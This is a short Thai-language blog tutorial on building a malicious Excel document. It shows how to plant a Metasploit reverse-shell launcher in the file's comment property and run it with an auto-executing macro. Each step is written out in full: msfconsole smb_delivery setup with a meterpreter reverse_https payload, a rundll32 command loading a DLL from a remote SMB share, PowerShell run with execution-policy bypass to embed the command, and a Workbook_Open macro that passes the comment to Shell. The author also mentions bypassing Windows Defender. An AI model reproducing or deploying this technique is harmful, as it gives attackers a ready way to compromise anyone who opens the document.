ก่อนหน้านี้เราเคยใช้ Metasploit ในการสร้าง Macro และไม่ใช้ Macro มาแล้วก็หลายต่อหลายครั้ง รวมถึงครั้งที่ผมเคยไปพูดในงาน Redpill 2017 ที่ผ่านมาก็มีการสร้าง payload ด้วย Metasploit แล้ว Obfuscate มันด้วยการทำ sub word หรือการเปลี่ยนลักษณะการรัน macro ซึ่งทำให้ bypass Windows Defender ในขณะนั้นมาแล้ว มาคราวนี้เป็นอีกวิธีหนึ่งคือการรัน Metasploit ผ่าน comment ของ Microsoft Excel กันครับ
1. ทำการสร้าง web delivery ด้วย Msfconsole
1 2 3 4 |
use exploit/windows/smb/smb_delivery set PAYLOAD windows/meterpreter/reverse_https set LHOST <IP> exploit |
2. ทีนี้ถ้าโดยปกติเราจะรัน dll ได้โดยใช้คำสั่ง
1 |
rundll32.exe \\<IP>\CAVxic\test.dll,0 |
3. ทีนี้สิ่งที่เราจะทำคือแทนที่เราจะรันโดยตรงใน command line เลย ก็คือไปฝังไว้ใน comment ของไฟล์ excel แล้วไปใช้ Macro ในการรันส่วนนั้นแทน โดยเริ่มต้นด้วยการ download powershell script สำหรับการฝัง comment เข้าไปใน excel ที่ชื่อว่า Commentator มาก่อน จากนั้นใช้ powershell ที่เป็นแบบ bypass policy แล้ว import script + ฝังคำสั่งที่เราจะใช้ในการรันเข้าไป
1 2 3 |
powershell.exe -exec bypass Import-Module .\commentator.ps1 Invoke-Commentator -OfficeFile .\msf_smb_delivery.xlsx -Comment "rundll32.exe \\<IP>\CAVxic\test.dll,0" |
4. ใส่ macro เป็น
1 2 3 4 5 6 7 8 |
Sub Workbook_Open() Dim p As DocumentProperty For Each p In ActiveWorkbook.BuiltinDocumentProperties If p.Name = "Comments" Then Shell (p.Value) End If Next End Sub |
5. ทดสอบใช้งาน เปิดไฟล์และ enable content เป็นอันเสร็จสิ้น ตัว Macro script ด้านบนจะไปเก็บ comments ไว้ในตัวแปล p แล้วนำมารันผ่าน shell(p.Value) อีกทีหนึ่งครับ
Source:: stealingthe.network